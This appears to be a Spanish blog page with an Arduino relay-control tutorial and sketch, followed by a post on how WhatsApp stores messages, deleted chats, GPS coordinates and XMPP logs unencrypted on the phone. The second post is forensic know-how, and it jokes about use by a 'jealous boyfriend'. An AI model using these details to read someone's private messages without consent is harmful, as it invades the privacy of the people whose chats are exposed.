Como podéis ver los componentes que necesitamos para realizar el circuito de control son muy pocos:

* Relé de 5V (En este caso de la casa HUI KE, vale cualquier otro).
* Transistor BC547.
* Resistencia de 10k.
* Diodo 1N4001.

Como siempre os dejo una foto del montaje del mismo y un vídeo del funcionamiento del circuito, en esta caso la bombilla se enciendo durante un segundo y permanece apagada durante diez segundos:




    /*Programa realizado por Javier Couto Rego "Regata" para
    www.tallerarduino.wordpress.com
     
    Encendiendo una bombilla a 220V con un Arduino y un relé
    a 5V*/
     
    int rele=8;
     
    void setup()
    {
      pinMode(rele,OUTPUT);
    }
     
    void loop()
    {
      //Nota tenemos el relé conectado como Normalmente Abierto
      //así solo se activará la carga cuando activemos la bobina
      //del relé, para que funcione al revés cambiaremos el cable
      //a la posición Normalmente Cerrado
      digitalWrite(rele,HIGH);  //Activamos la bobina del relé y encendemos la bombilla
      delay(1000);              //durante 1 segundo
      digitalWrite(rele,LOW);   //Desactivamos la bobina del relé y apagamos la bombilla
      delay(10000);             //durante 10 segundos
    }

[WhatsApp] Lo que nadie te cuenta

9:34 2 Comments A+ a-

 

Es la aplicación "de moda'" en el mundo de la telefonía móvil, casi acto seguido al 'dame tu teléfono' viene como pregunta ¿Y tienes WhatsApp?.
Claramente esta aplicación está cambiando el concepto de los SMS ofreciendo mensajería gratuita.

Más de uno, ya ha alertado sobre la inseguridad de WhatsApp por la forma en la que transmite en claro los datos y lo que eso supone en entornos donde el medio es compartido.

Hoy vamos a hablar de la parte interna, de la forma en la que WhatsApp almacena y gestiona los datos.
Si observamos desde dentro la estructura de ficheros de la aplicación llegamos a dos ficheros llamados msgstore.db y wa.db (las ubicaciones varían, como es lógico, de Android a Iphone).
Estos ficheros están en formato SQLite.

Una vez importamos estos ficheros con alguna herramienta que permita ojear su interior (por ejemplo SQLite Manager) nos encontramos la primera sorpresa: ninguno de los datos ahí contenidos están cifrados.
En wa.db se almacenan los contactos y en msgstore.db todos los mensajes enviados

Así es, toda la relación de mensajes enviados y recibidos están ahí. Y porqué hago énfasis en "todos", sencillamente porque aunque WhatsApp teóricamente da la oportunidad mediante su interfase gráfica de eliminar conversaciones, la realidad es que permanecen en la base de datos ad infinitum.

Y el tema es aun mas divertido si el envío o recepción de mensajes se produce en un momento donde esté activado el GPS, ya que WhatsApp almacena también en el fichero msgstore.db las coordenadas


En el caso de Android aun hay mas 'chicha' almacenada que podría ser interesante para un investigador forense o un novio celoso.
Por lo visto WhatsApp viene configurado by default con un nivel de logging extremadamente 'verbose' y almacena, dentro del directorio /files/Logs, unos ficheros con este aspecto:


En esos archivos se registra con un nivel altísimo de debug todas las transacciones XMPP que realiza la aplicación, anotando con su correspondiente hora/fecha cuando se recibe o envía un mensaje (entre otras cosas).

  1. xmpp/reader/read/message 346XXXXXXX@s.whatsapp.net 1307XXXXXX-30 0 false false

Esos archivos son fácilmente 'parseables' para extraer la relación de números con los que se ha mantenido algún tipo de conversación.